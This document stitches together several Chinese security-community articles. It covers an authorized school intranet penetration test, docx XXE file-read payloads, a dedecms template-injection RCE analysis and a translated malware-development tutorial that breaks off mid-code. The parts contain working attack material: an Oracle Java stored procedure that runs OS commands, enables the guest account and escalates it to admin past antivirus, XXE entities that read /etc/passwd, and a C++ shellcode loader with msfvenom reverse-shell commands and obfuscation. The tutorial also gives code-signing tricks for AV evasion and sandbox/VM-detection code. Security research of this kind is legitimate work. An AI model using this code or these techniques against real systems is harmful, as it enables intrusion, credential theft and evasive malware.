此处有很重的马赛克
### 上传phar包
### 任意文件下载处触发反序列化
在网站目录下创建 **flag.txt** 作测试文件，如下GIF测试成功删除 **flag.txt**
# 结语
刚了很就的tp5.0.x反序列化利用链，没有肝到rce(tcl...
希望师傅们喜欢 | 社区文章 |
### 初探内网
在向信息中心的老师申请了对学校进行一次内网渗透测试的授权之后，我开始着手对学校内网中在用系统进行了一波信息搜集。其中大部分都使用了新版的未爆出0day的框架组件，这让我一开始的打点过程陷入僵局。但是在我重新翻了一遍学校开放的各种web系统后，我发现了一些令人惊喜的系统。
学校使用了很多新系统，但是并没有把老系统关闭，经过一番搜索确定了这个老系统存在任意文件上传漏洞。
没有任何过滤，可以说就是捡漏了。
而且也返回了一句话木马的路径。但是我遇到了一个很奇怪的现象，用蚁剑和用菜刀连接后，返回的路径不一样，其中的文件也不一样。
其中蚁剑连接的shell无法上传文件，而菜刀连接的却可以，并且webshell执行一次命令后就会封禁IP，怀疑有waf。所以我先传了一个msf的aspx木马来获取一个meterpreter的会话。使用windows-exploit-suggest探测未打的补丁。
发现存在MS16-075这个非常好用的漏洞，直接配合msf的juicy_potato模块来攻击，记住要修改CLSID，可以在这里找
<https://github.com/ohpe/juicy-potato/tree/master/CLSID>
使用的payload最好要选择正向连接 bind_tcp，不然有可能弹不回来shell。
这样就获取了system权限。接下来就是对机器进行信息搜集，获取对我们横向渗透有帮助的信息。很奇怪的一点是，这台机器本来是有域的，但现在却没有了，且无法找到域控。所以我们的重点放在密码撞库。使用msf自带的mimikatz模块来获取密码。
撞到了两三台机器，还有一些机器是开着445端口，但没有开3389端口。
这样我们可以尝试使用ms-17010，但考虑可能会对某些正在使用的系统造成影响，我还是选择使用更稳妥的
psexec模块来进行撞库。也就是哈希传递，有时候我们碰到无法获取明文的密码，可以考虑dump出密码的hash值，再使用psexec模块进行哈希传递，来进行攻击，获取到的都是SYSTEM权限。
后面的步骤索然无味，就是不断的撞库搜集密码，然后再通过搜集的密码再撞库，获取到了足够多的机器和密码之后，找到了边界路由器，但是之前搜集的密码都无法成功登录，只好放弃。这个网段就告一段落。
## **深入探索**
经过对新系统的一番搜索，我在其中的一个功能中找到了任意文件下载漏洞。
并且是root用户起的服务，最理想的情况就是，读取/etc/shadow文件，爆破root用户密码。（失败），然后尝试读取/root/.bash_history
来获取root用户的操作历史记录。其中记录了tomcat部署的路径，以及备份的源码文件。通过下载源码进行信息搜集，我搜集到了一个很关键的信息，这个网段的机器大多数使用oracle数据库，并且没有修改SID，手里还有几个可以尝试的密码。
经过一番爆破，发现了一台机器oracle数据库system用户密码未修改，为manager。大家应该指定oracle数据库是可以执行系统命令的，而system用户完全符合执行系统命令的条件。网上找到一个工具，去掉了繁琐的步骤，可以直接执行命令。
## **绕过火绒行为检测**
但是又出现了一个很奇怪的问题，我只能执行少数的几个命令，虽然我是system用户，但我一旦使用到 net
user之类的命令时，就没有了回显。后面发现是火绒拦截了异常行为。然后我尝试了直接使用 navicat
中的sqlplus来连接服务器。根据网上的步骤建立执行命令的代码，我可以根据服务器返回的1或0来判断命令是否执行。
create or replace and compile Java Source named "OSCommand" as
-- java: OS COMMAND
import java.io.*;
import java.lang.*;
public class OSCommand{
public static String Run(String Command){
Runtime rt = Runtime.getRuntime();
int rc = -1;
try{
Process p = rt.exec( Command );
int bufSize = 32000;
int len = 0;
byte buffer[] = new byte[bufSize];
String s = null;
BufferedInputStream bis = new BufferedInputStream( p.getInputStream(), bufSize );
len = bis.read( buffer, 0, bufSize );
rc = p.waitFor();
if ( len != -1 ){
s = new String( buffer, 0, len );
return( s );
}
return( rc+"" );
}
catch (Exception e){
e.printStackTrace();
return( "-1\ncommand[" + Command + "]\n" + e.getMessage() );
}
}
}
/
show errors
create or replace function OSexec( cCommand IN string ) return varchar2 is
-- function: OS EXEC
-- descr: PL/SQL wrapper for the Java OSCOMMAND stored proc
-- language JAVA
name 'OSCommand.Run(java.lang.String) return java.lang.String';
/
show errors
-- sysdba. Substitute SCOTT with the applicable schema that owns the OSEXEC
-- and OSCOMMAND stored procs.
declare
SCHEMA varchar2(30) := 'SCOTT';
begin
dbms_java.grant_permission(
SCHEMA,
'SYS:java.io.FilePermission',
'<<ALL FILES>>',
'execute'
);
dbms_java.grant_permission(
SCHEMA,
'SYS:java.lang.RuntimePermission',
'writeFileDescriptor',
'*'
);
dbms_java.grant_permission(
SCHEMA,
'SYS:java.lang.RuntimePermission',
'readFileDescriptor',
'*'
);
commit;
end;
/
-- 查看本地连接信息
SQL> select OSexec('ipconfig') as STDOUT from dual;
STDOUT
-------------------------------------------------------------------------------- Windows IP ????
??????????? ????l?? 3:
l??????? DNS ??? . . . . . . . :
????t?? IPv6 ???. . . . . . . . : *************
IPv4 ??? . . . . . . . . . . . . : 192.168.100.100
???????? . . . . . . . . . . . . : 255.255.255.0
??????. . . . . . . . . . . . . : 0.0.0.0
--激活guest账号
SQL> select OSexec('cmd.exe /c net user guest /active:yes') as STDOUT from dual;
STDOUT
-------------------------------------------------------------------------------- 0
因为存在杀毒软件监控oracle的行为，所以得要通过一些不被拦截的行为来组合起来攻击。
让我没想到的是，当我直接执行命令行开启3389端口时，火绒居然没有拦截。但当我执行net
user等命令的时候又无法执行。这时候我突然想起来guest用户，我启用guest用户，然后加入管理员组，这一次没有被拦截。直接远程桌面连接以后，当我想在机器上使用mimikatz或者是反弹一个shell到cs上都失败了。
并且guest用户还有一些权限被禁用了，比如添加用户等敏感操作。但是我执行net
user的时候发现了一个用户，这个用户我在之前的机器上见过，并且我有这个用户的密码。所以再通过sqlplus来将这个用户加入管理员组。
所以火绒拦截的行为规则就是不能添加用户，但是可以把已存在的用户加入管理员组，并且guest用户可激活，可开3389。在我再次登录这个机器之后，还是没有办法反弹shell回来，或者是读出它的密码。这时候学弟和我说，可以直接打开火绒，关闭防护，就可以反弹shell了。我？？？？？
然后一通操作拿到了shell，但是还是读不出明文密码，我就想着把哈希dump出来然后去爆破。但是又想起来有一个国外的在线网站可以解NTLM
<https://www.objectif-securite.ch/ophcrack>
获取密码之后，又是熟悉的撞库，信息搜集，再撞库。
然后在服务器上发现了一个xftp保存了几台服务器的密码，这个时候发现一个骚操作，可以用一个星号密码查看器的工具，来查看这里保存的密码。
又喜提几台root权限的机器。后面要考试就不想玩了，把所有搜集的密码用户记录，然后撞整个网段的机器，撞出了很多弱口令。
恭喜信息中心老师喜提加班。
请大佬们轻喷。。。。 | 社区文章 |
### 0x00 背景
前两天在realworld挖到一个docx的xxe漏洞，昨天朋友和我说国外某CTF也出现其中考点了，所以我把docx格式的xxe来简单总结下
### 0x01前置知识
首先是关于docx这种格式 在微软2007之后 在传统的文件名都添加了x 比如pptx xlsx,还有我们本文提到的docx
他的优点是占用空间会比doc文件占有的少，并且他的本质其实是个xml文件
当你拿到一个docx文件时 使用本机自带的unzip命令进行解压
会得到如下的xml文件 因为docx文件的主要内容是保存为xml的 他是保存在一个压缩包 然后取扩展名为zip
这里面主要存储信息的地方在于word文件夹下的document.xml
内容大致如下
我们发现在word输入的内容在
<w:t>&xxe;</w:t>
这个标签内 解析xml实体的位置也是如此
### 0x02 lets xxe 1
第一个位点就是我们刚才提到的地方
我们只需要做的是在xml声明处添加如下第一行代码 在第二行标签进行修改
<!DOCTYPE test [<!ENTITY test SYSTEM 'file:///etc/passwd'>]>
<w:t>&test;</w:t>
然后将文件重新压缩 修改为.docx 然后找到上传点上传就可以
但做好的即使用微软官方的word并不能打开 发现只有用Libreoffice时候能解析
当然这个在ctf题中也有案例 感兴趣的师傅可以翻阅HackPack 2021 Indead v2 用一模一样的方法就可以
### 0x02 xxe 2
第一种方法被广流传之后 很多都进行了相对的修改 当然最暴力的方法就是直接禁止实体解析，当然也有做的相对柔和一点就是在document.xml里面检测了关键字
很显然这种方法并不全面 那我们需要探索的就是是否有别的位点
我注意到在线浏览或者转换pdf的地方还有一个回显点 就是页码
经过简单翻找可以看到
在docProps/app.xml标签里面
在pages这里面加入xxe语句即可
### 0x03 ole to readfile
然后就是出自前几天比赛学习的一种新手法 这种手法只适用于Libreoffice 并且在实战场景是有利用空间的
很多在线网站word转pdf用的都是libreoffice
这道题的设计背景就是 试了xxe发现不行 然后就各种搜索资料 发现word文档是可以以文件的方式嵌入和链接OLE对象 OLE就是一种面向对象技术
利用这种方式就可以把文件 声音 图像表格 应用程序组合在一起
选择插入 OLE Object
然后在这里选择Link to file
可以看到这里面可以成功读取
然后我们保存 这里面要注意一个坑 不能直接保存为docx格式 要先保存为odt格式 我们再手动修改扩展名
这时候以zip格式打开就可以看到
格式大概是这样 我们打开content.xml
可以看到 在xlink: href 这里面连接到/etc/passwd 那你也能想到我们可以把他修改/flag上传
这时候我们发现是可行的 但是这种方法读取的行数是有限的 读不到完整flag
解决方法也很简单 我们自己写个文本框来解析 代码如下
<text:section text:name="string"><text:section-source xlink:href="../../../../../../flag" xlink:type="simple" xlink:show="embed" xlink:actuate="onLoad"/></text:section>
可以看到能过成功解析 读取flag
### 0x04 docx压缩包的其他考点
回过头来我们想当他本质是个压缩包的话 php有丰富的伪协议 zip 如果我们在php网站有这种上传docx的地方 也可以考虑 把php一句话写入
然后用zip://把它解压出来
后来发现早有师傅想到这个点了
### 0x05 拓展阅读
<http://www.securityidiots.com/Web-Pentest/XXE/XXE-Cheat-Sheet-by-SecurityIdiots.htm>
l<https://doddsecurity.com/312/xml-external-entity-injection-xxe-in-opencats-applicant-tracking-system/> | 社区文章 |
## ShowMsg模版注入
dedecms V5.8 /plus/flink.php存在RCE，利用链分析：
### 最开始调试的错误调用链
在进行了一个插入后会进入showMsg方法(这里可以看到onlymsg=0的，后续会有个判断语句)：
这里如果$gourl==-1,则直接将Http_referer赋值给$gourl
gourl根据特定字符replace之后，去除空格等 传递给tgobj参数，之后拼接到$func变量中，最后到了$msg参数中
LoadString方法会根据msg内容md5创建一个文件，并对模版内容进行解析，跟进Display
这里进入WriteCache方法，会有一个CheckDisabledFunctions方法检测危险函数，然后将内容写入模版文件中：
最终通过inclue 包含cacheFile包含模版，执行代码：
一开始自己跟错了入口，导致后面无法将恶意参数拼接写入文件中，原因在于这个showMsg的这个入口，onlymsg被赋值为1了，没办法进入后续的循环，也就导致于没有进入前面分析的链中。
### 正确调用链入口：
存在上述问题的原因是因为/plus/flink.php触发漏洞点的入口错误，当$gourl的值为-1，会将HTTP_REFERER的值赋值给$gourl，后续想要将\$gourl的值写入模版文件中，则需要满足$onlymsg=0即可，才会进入到拼接模版文件。
将参数拼接到$func，写入模版文件，最后进行include包含，其中还得绕过checkdisable。 | 社区文章 |
# 恶意软件开发 Part 1
##### 译文声明
本文是翻译文章，文章原作者 0xPat，文章来源：0xpat.github.io
原文地址：<https://0xpat.github.io/Malware_development_part_1/>
译文仅供参考，具体内容表达以及含义原文为准。
## 简介
本文是恶意软件开发系列文章的第一篇。在本系列文章中，我们将探索并尝试实现多个恶意软件中使用的技术，恶意软件使用这些技术实现代码执行，绕过防御，以及持久化。
我们将创建一个C++程序，该程序会运行恶意的shellcode，同时试图绕过防病毒软件的检测。
为什么我们在这里选择C++而不是C#或者PowerShell脚本呢？因为和托管代码(managed
code)以及脚本相比，分析编译好的二进制文件要困难得多。
在本文以及后续的一系列文章中，开发环境都是Windows 10 version 1909，Microsoft Visual Studio 2017。
## 如何对恶意软件进行检测
反恶意软件解决方案可以使用三种类型的检测机制：
* 基于签名的检测：静态检查文件校验和(MD5, SHA1等)，检查二进制文件中是否存在一直的字符串或字节序列；
* 启发式检测：一般会对软件的行为进行静态分析，识别潜在的恶意特征(比如使用了与恶意软件有关的特定函数)；
* 沙箱：对软件进行动态分析，在一个受控环境(沙箱)中执行该软件，并对其行为进行监控。
有多种技术可以用来绕过不同的检测机制。比如：
* 多态(或者至少经常重编译)的恶意软件可以绕过基于签名的检测机制；
* 对代码流进行混淆可以绕过启发式检测机制；
* 基于环境检查的条件语句可以发现并绕过沙箱；
* 对敏感信息进行编码或者机密可以协助绕过基于签名的检测以及启发式检测机制。
## 现在开始工作！
### 新建一个项目
首先创建一个新的项目——Windows C++ Console Application (x86)。
### 生成shellcode
我们使用Metasploit生成一些恶意的shellcode，这里选择TCP bind shell。
msfvenom -p windows/shell_bind_tcp LPORT=4444 -f c
从名字就可以看出，shellcode是一段用于运行本地或者远程系统shell的代码。主要是在攻击软件漏洞的过程中使用shellcode：在攻击者可以控制程序的执行流程后，他需要用一些通用的payload执行所需操作(一般是访问shell)，不管是本地攻击(例如权限提升)还是远程攻击(例如在服务器上实现RCE)都是如此。
Shellcode其实是一个引导程序，利用已知的某种特定平台的机制来执行特定操作(创建进程，建立TCP连接等)。Windows上的shellcode通常使用线程环境块(TEB,
Thread Environment Block)和金承焕晶块(PEB, Process Environment
Block)查找已加载系统库(`kernel32.dll`, `kernelbase.dll`或者`ntdll.dll`)
的地址，然后在系统库中寻找`LoadLibrary`和`GetProcAddress`函数的地址，使用这些函数可以进一步定位其他函数。
生成的shellcode可以作为字符串包含在二进制文件中。执行这个char数组的一个经典方法就是把这个数组转换为指向函数的指针，即：
void (*func)();
func = (void (*)()) code;
func();
或者直接使用这个经典的一行代码，我刚开始学习的时候从来没把它写对过：
(*(void(*)()) code)();
但是我发现，因为存在数据执行保护机制，我无法在栈上执行数据(栈上的数据受到保护无法执行)。尽管使用GCC(`-fno-stack-protector`和`-z execstack`标志)可以很简单地让数据执行，但是我没试过用Visual
Studio和MSVC编译器实现这一点，因为这和本文的目标没有什么太大关系。
注意：在应用程序里执行shellcode看起来似乎毫无意义，因为我们也可以用C/C++实现其功能。但是有些时候还是需要实现自定义的shellcode加载器或注入器(比如说运行其他工具生成的shellcode)。除了用来执行已知的恶意代码(像是Metasploit生成的shellcode)之外，它还可以用做测试检测机制和绕过机制时的PoC。
### 执行shellcode
实际执行shellcode有一些困难，我们需要：
* 使用Windows API函数[`VirtualAlloc`](https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc)(远程进程需要使用[`VirtualAllocEx`](https://docs.microsoft.com/pl-pl/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex))分配一块新的内存区域；
* 用shellcode字节填充这块区域。可以使用[`RtlCopyMemory`](https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-rtlcopymemory)函数，该函数基本上就是封装的`memcpy`；
* 使用[`CreateThread`](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createthread)或者[`CreateRemoteThread`](https://docs.microsoft.com/pl-pl/windows/win32/api/processthreadsapi/nf-processthreadsapi-createremotethread)函数创建一个新的本地或远程线程。
如果shellcode所在的内存区域被标记为可执行的，也可以使用把char数组转换为函数指针的方式执行shellcode。
这样的一个程序的源代码如下所示：
#include <Windows.h>
void main()
{
const char shellcode[] = "xfcxe8x82 (...) ";
PVOID shellcode_exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
RtlCopyMemory(shellcode_exec, shellcode, sizeof shellcode);
DWORD threadID;
HANDLE hThread = CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)shellcode_exec, NULL, 0, &threadID);
WaitForSingleObject(hThread, INFINITE);
}
## 使用VirusTotal进行测试
在正式发布这个恶意软件之前，我们需要确保已经从二进制文件中删除了一部分内容。比如说需要删掉所有调试符号和其他相关信息，可以把项目的创建配置改成“Release”，同时禁止生成调试信息(该选项在项目属性的链接器配置里)。
除此之外，在使用Visual Stdio的时候，默认会把程序数据库(PDB, Program
Database)的路径嵌入二进制文件中。PDF可以用来存储调试信息，该文件与可执行文件(或DLL)位于同一目录。因此该路径信息可能会泄露一些敏感信息，比如说“`C:usersnameSurnameDesktopcompanyNameclientNameassessmentDateMaliciousAppReleaseapp.exe`”。
首先看一下VirusTotal对这个shellcode的扫描结果：
下面是启动后马上执行shellcode的二进制文件的扫描结果：
对我们的可执行程序来说，检测率有些低。
## Shellcode混淆
首先想到的就是修改shellcode内容，从而绕过基于签名的静态分析。
我们可以试一下最简单的“加密”方法——对shellcode中所有的字节应用ROT13加密，这样0x41会变成0x54，0xFF会变成0x0C，依此类推。在执行的过程中，会对shellcode进行“解密”，即从每个字节中减去0x0D。
代码如下所示：
#include <Windows.h>
void main()
{
const char shellcode[] = "x09xf5x8f (...) ";
PVOID shellcode_exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
RtlCopyMemory(shellcode_exec, shellcode, sizeof shellcode);
DWORD threadID;
for (int i = 0; i < sizeof shellcode; i++)
{
((char*)shellcode_exec)[i] = (((char*)shellcode_exec)[i]) - 13;
}
HANDLE hThread = CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)shellcode_exec, NULL, 0, &threadID);
WaitForSingleObject(hThread, INFINITE);
}
也可以使用XOR加密(使用不变的单字节密钥)代替凯撒加密：
for (int i = 0; i < sizeof shellcode; i++)
{
((char*)shellcode_exec)[i] = (((char*)shellcode_exec)[i]) ^ 'x35';
}
但是这种方法没什么用处：
## 让程序变得更合法
### 对“空”程序进行分析
通过对VirusTotal上面恶意软件检测系统的行为进行分析，我们注意到即使一个程序基本上什么都不做，有几个反病毒引擎也会把它标记未恶意软件。
编译下面的代码：
void main()
{
return;
}
测试生成的二进制文件：
这就说明，我们可能需要采用一些和恶意shellcode本身没有什么关系的技术。
### 对二进制文件进行签名
一些恶意软件检测引擎可能会把未签名的二进制文件标记为可疑的。接下来要建立一个代码签名机制，我们需要证书颁发机构以及代码签名证书：
makecert -r -pe -n "CN=Malwr CA" -ss CA -sr CurrentUser -a sha256 -cy authority -sky signature -sv MalwrCA.pvk MalwrCA.cer
certutil -user -addstore Root MalwrCA.cer
makecert -pe -n "CN=Malwr Cert" -a sha256 -cy end -sky signature -ic MalwrCA.cer -iv MalwrCA.pvk -sv MalwrCert.pvk MalwrCert.cer
pvk2pfx -pvk MalwrCert.pvk -spc MalwrCert.cer -pfx MalwrCert.pfx
signtool sign /v /f MalwrCert.pfx /t http://timestamp.verisign.com/scripts/timstamp.dll Malware.exe
通过执行上面的命令，我们生成了证书颁发机构“Malwr”，将其导入到证书存储区，创建一个格式为`.pfx`的代码签名证书，使用该征输对二进制文件进行签名。
注意：可以在Visual Studio的项目属性中把二进制文件签名配置为Post-Build Event：
signtool.exe sign /v /f $(SolutionDir)CertMalwrSPC.pfx /t http://timestamp.verisign.com/scripts/timstamp.dll $(TargetPath)
该已签名程序的检测率小了不少：
### 链接库的问题
在探索Visual C++
项目的编译和链接属性时，我发现，如果把链接器选项中的其他依赖项删除掉(尤其是`kernel32.lib`)，某些反恶意软件引擎就不会把生成的可执行文件标记为恶意的。有趣的是，`kernel32.lib`在代码编译后还是会被静态链接到程序上，因为二进制文件需要(从kernel32.dll那里)知道到哪里定位关键的API函数。
使用这个 **奇怪的技巧** 降低恶意软件的检测率：
## 切换到64位
我想现在大多数计算机(尤其是用户工作站)运行的都是64位系统。所以接下来生成64位bind shell payload，并使用VirusTotal进行测试：
msfvenom -p windows/x64/shell_bind_tcp LPORT=4444 -f raw
检测率明显低于32位的版本(23/51)：
对使用同样的技术编写的代码进行编译，测试生成的程序，检测率非常低：
## 总结
在本文中我们制作了一个简易的shellcode加载器，同时利用一些不太复杂的技术显著降低了它的检测率。但是这个程序还是可以被Microsoft
Defender检测到！
## 续
在接下来的内容中，我们将探索并尝试实现多个恶意软件中使用的技术，恶意软件使用这些技术实现代码执行，绕过防御，以及持久化。
之前，我们用C++创建了一个基本的Metasploit
shellcode启动器，并探索了有助于降低编译后可执行文件检测率的基本技术，包括payload编码/加密，使用自定义代码签名证书对二进制文件签名，以及转换为64位程序。
接下来，我们会深入研究恶意软件的动态分析及其绕过方法。
注意：假定的执行环境为64位，所以部分代码示例可能无法在32位环境下工作（比如说代码里面有硬编码的8字节指针或者PE和PEB的内部布局不同）。除此之外，下面的代码示例中省略了错误检查。
## 恶意软件的动态分析
可执行文件的动态分析可以由沙箱自动执行，也可以由分析人员手动执行。恶意软件会使用各种方法来对其执行环境进行指纹识别，并根据识别结果执行不同的操作。
自动化分析是在一个简化的沙箱环境中进行，该环境可能有一些特定的特征，尤其是它可能无法模拟真实环境的所有细节。
手动分析通常在一个虚拟环境中进行，可能会使用一些其他的特定工具（例如调试器和其他分析软件）。
自动分析和手动分析有一些相同的特征，最主要的就是它们通常是在一个虚拟化的环境中进行，如果环境配置（加固）不正确，就会很容易被检测到。
大多数沙箱/分析检测技术会检查是否存在特定的环境属性或文件，比如说会检查环境资源是否有限，是否存在有暗示性的设备名称、特定的文件或注册表项。
但是，针对自动化分析的沙箱环境有几种特定的检测方法，而对于恶意软件分析人员所使用的虚拟环境也有其他特定的检测方法。
### 对恶意软件检测的小测试
我们会使用上一篇文章中的代码进行测试，该代码将经过XOR解密的shellcode注入新分配的内存块中，并进行执行：
void main()
{
const char shellcode[] = "xc9x7dxb6 (...) ";
PVOID shellcode_exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
RtlCopyMemory(shellcode_exec, shellcode, sizeof shellcode);
DWORD threadID;
for (int i = 0; i < sizeof shellcode; i++)
{
((char*)shellcode_exec)[i] = (((char*)shellcode_exec)[i]) ^ 'x35';
}
HANDLE hThread = CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)shellcode_exec, NULL, 0, &threadID);
WaitForSingleObject(hThread, INFINITE);
}
为了绕过某些静态检测方法，该代码生成的是64位程序，并使用自定义证书进行了签名。
不过这一次我们使用的是反向shell的shellcode：
msfvenom -p windows/x64/shell_reverse_tcp LPORT=4444 LHOST=192.168.200.102 -f raw
我们会查看在动态分析的过程中是否提取了反向shell的IP地址（这里就是一个基本的威胁指示(IoC)情报）。
使用上一篇文章中提到的反病毒绕过技术，程序在VirusTotal上的检测率已经很低了：
Microsoft Defender检测的结果是“ Meterpreter
trojan”（事实上只是一个TCP的反向Shell，而不是Meterpreter木马）。 VirusTotal上的沙箱可以在动态分析期间提取IP地址。
接下来先讲一些在动态分析的检测和绕过中使用的通用技术。
## 虚拟化环境检测
沙箱和分析人员使用的虚拟化操作系统通常都不能100％准确地模拟真实的执行环境（比如一般的用户工作站）。虚拟化环境的资源有限（相应的设备名称也能提供有用的信息），可能安装了针对虚拟机的工具和驱动程序，通常看起来像是一个新安装的Windows系统，有时还会使用固定的用户名或计算机名。我们可以在检测中利用以上几点。
### 硬件资源
资源有限是最主要的问题，沙箱可能无法同时进行多个耗时而且占用大量资源的模拟，因此通常会限制分配给单个实例的资源和时间。
分析人员一般使用的虚拟机也有相同的限制——只有有限的资源。
一般的用户工作站使用的处理器至少有2个内核，内存至少有2 GB，硬盘至少有100 GB。 我们可以验证恶意软件的执行环境是否受到了这些约束的限制：
// check CPU
SYSTEM_INFO systemInfo;
GetSystemInfo(&systemInfo);
DWORD numberOfProcessors = systemInfo.dwNumberOfProcessors;
if (numberOfProcessors < 2) return false;
// check RAM
MEMORYSTATUSEX memoryStatus;
memoryStatus.dwLength = sizeof(memoryStatus);
GlobalMemoryStatusEx(&memoryStatus);
DWORD RAMMB = memoryStatus.ullTotalPhys / 1024 / 1024;
if (RAMMB < 2048) return false;
// check HDD
HANDLE hDevice = CreateFileW(L"\\.\PhysicalDrive0", 0, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
DISK_GEOMETRY pDiskGeometry;
DWORD bytesReturned;
DeviceIoControl(hDevice, IOCTL_DISK_GET_DRIVE_GEOMETRY, NULL, 0, &pDiskGeometry, sizeof(pDiskGeometry), &bytesReturned, (LPOVERLAPPED)NULL);
DWORD diskSizeGB;
diskSizeGB = pDiskGeometry.Cylinders.QuadPart * (ULONG)pDiskGeometry.TracksPerCylinder * (ULONG)pDiskGeometry.SectorsPerTrack * (ULONG)pDiskGeometry.BytesPerSector / 1024 / 1024 / 1024;
if (diskSizeGB < 100) return false;
进行这些简单的检查后，我们可以把检测率降到零：
VirusTotal沙箱执行的动态分析没有提供任何IP（IoC）。
### 设备和供应商名称
使用默认选项安装的虚拟机中，设备名称一般是可以预测的，比如说会包含与特定虚拟机管理程序有关的字符串。
我们可以检查硬盘驱动器名称，光驱名称，BIOS版本，计算机制造商及型号，图形控制器名称等内容。使用WMI
Query检索相关信息（检查类似“Name”、“Description”、“Caption”这样的属性）。
下面是一个使用Windows API函数（没有使用WMI）检索HDD名称的示例：
HDEVINFO hDeviceInfo = SetupDiGetClassDevs(&GUID_DEVCLASS_DISKDRIVE, 0, 0, DIGCF_PRESENT);
SP_DEVINFO_DATA deviceInfoData;
deviceInfoData.cbSize = sizeof(SP_DEVINFO_DATA);
SetupDiEnumDeviceInfo(hDeviceInfo, 0, &deviceInfoData);
DWORD propertyBufferSize;
SetupDiGetDeviceRegistryPropertyW(hDeviceInfo, &deviceInfoData, SPDRP_FRIENDLYNAME, NULL, NULL, 0, &propertyBufferSize);
PWSTR HDDName = (PWSTR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, propertyBufferSize);
SetupDiGetDeviceRegistryPropertyW(hDeviceInfo, &deviceInfoData, SPDRP_FRIENDLYNAME, NULL, (PBYTE)HDDName, propertyBufferSize, NULL);
CharUpperW(HDDName);
if (wcsstr(HDDName, L"VBOX")) return false;
还可以查找一般主机系统中不存在的特定虚拟设备，比如管道以及其他访客和主机间的通信接口：
OBJECT_ATTRIBUTES objectAttributes;
UNICODE_STRING uDeviceName;
RtlSecureZeroMemory(&uDeviceName, sizeof(uDeviceName));
RtlInitUnicodeString(&uDeviceName, L"\Device\VBoxGuest"); // or pipe: L"\??\pipe\VBoxTrayIPC-<username>"
InitializeObjectAttributes(&objectAttributes, &uDeviceName, OBJ_CASE_INSENSITIVE, 0, NULL);
HANDLE hDevice = NULL;
IO_STATUS_BLOCK ioStatusBlock;
NTSTATUS status = NtCreateFile(&hDevice, GENERIC_READ, &objectAttributes, &ioStatusBlock, NULL, 0, 0, FILE_OPEN, 0, NULL, 0);
if (NT_SUCCESS(status)) return false;
还应该注意网络设备，尤其是MAC地址。MAC地址可能会暗示虚拟环境的存在，因为默认情况下它的前3个字节是制造商标识符。
可以遍历所有可用的网络适配器，用前几个字节与已知值进行比较：
DWORD adaptersListSize = 0;
GetAdaptersAddresses(AF_UNSPEC, 0, 0, 0, &adaptersListSize);
IP_ADAPTER_ADDRESSES* pAdaptersAddresses = (IP_ADAPTER_ADDRESSES*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, adaptersListSize);
if (pAdaptersAddresses)
{
GetAdaptersAddresses(AF_UNSPEC, 0, 0, pAdaptersAddresses, &adaptersListSize);
char mac[6] = { 0 };
while (pAdaptersAddresses)
{
if (pAdaptersAddresses->PhysicalAddressLength == 6)
{
memcpy(mac, pAdaptersAddresses->PhysicalAddress, 6);
if (!memcmp({ "x08x00x27" }, mac, 3)) return false;
}
pAdaptersAddresses = pAdaptersAddresses->Next;
}
}
### 虚拟机特有的组件
虚拟化环境中还会有一些特有的组件，比如说有些文件或者注册表项会说明存在虚拟机管理程序。
我们可以检查与管理程序提供的驱动程序，设备和模块有关的文件和目录，也可以检查包含配置信息或硬件描述的注册表项。
可以在以下目录检查上面提到的组件：`C:WindowsSystem32`和
`C:WindowsSystem32Drivers`。可疑的注册表项是`HKLMSYSTEMControlSet001Services`，`HKLMHARDWAREDescriptionSystem`，`HKLMSYSTEMCurrentControlSetControlSystemInformation`等等。
下面的代码可以用于探测VirtualBox特有的文件和注册表项：
// check files
WIN32_FIND_DATAW findFileData;
if (FindFirstFileW(L"C:\Windows\System32\VBox*.dll", &findFileData) != INVALID_HANDLE_VALUE) return false;
// check registry key
HKEY hkResult;
if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"SYSTEM\ControlSet001\Services\VBoxSF", 0, KEY_QUERY_VALUE, &hkResult) == ERROR_SUCCESS) return false;
### 文件、目录、进程以及窗口名称
下面的方法可用于检测沙箱，虚拟机，调试器或手动分析的环境，因为有一些应用程序普通用户是不会使用的（以及相关的进程、窗口名称以及加载的库）。
#### 应用程序名称和目录
沙箱有时会把自己分析的二进制文件名称改为一个通用名称，例如`sample.exe`。 恶意软件分析人员也可能在运行程序前重命名该文件。
我们可以检查文件或目录名称中是否包含“可疑”字符串。
但是，如果我们可以确定可执行文件的名称和路径时（比如VBA宏泄露了该内容），我们就可以验证它是否真的是从假设的位置执行的：
wchar_t currentProcessPath[MAX_PATH + 1];
GetModuleFileNameW(NULL, currentProcessPath, MAX_PATH + 1);
CharUpperW(currentProcessPath);
if (!wcsstr(currentProcessPath, L"C:\USERS\PUBLIC\")) return false;
if (!wcsstr(currentProcessPath, L"MALWARE.EXE")) return false;
#### 父进程
有时恶意程序本来应该由特定进程启动，例如`explorere.exe`或`svchost.exe`。或者它本来不应该由类似调试器这样的进程启动。
我们可以根据父进程名称设置条件：
DWORD GetParentPID(DWORD pid)
{
DWORD ppid = 0;
PROCESSENTRY32W processEntry = { 0 };
processEntry.dwSize = sizeof(PROCESSENTRY32W);
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (Process32FirstW(hSnapshot, &processEntry))
{
do
{
if (processEntry.th32ProcessID == pid)
{
ppid = processEntry.th32ParentProcessID;
break;
}
} while (Process32NextW(hSnapshot, &processEntry));
}
CloseHandle(hSnapshot);
return ppid;
}
void main()
{
DWORD parentPid = GetParentPID(GetCurrentProcessId());
WCHAR parentName[MAX_PATH + 1];
DWORD dwParentName = MAX_PATH;
HANDLE hParent = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, parentPid);
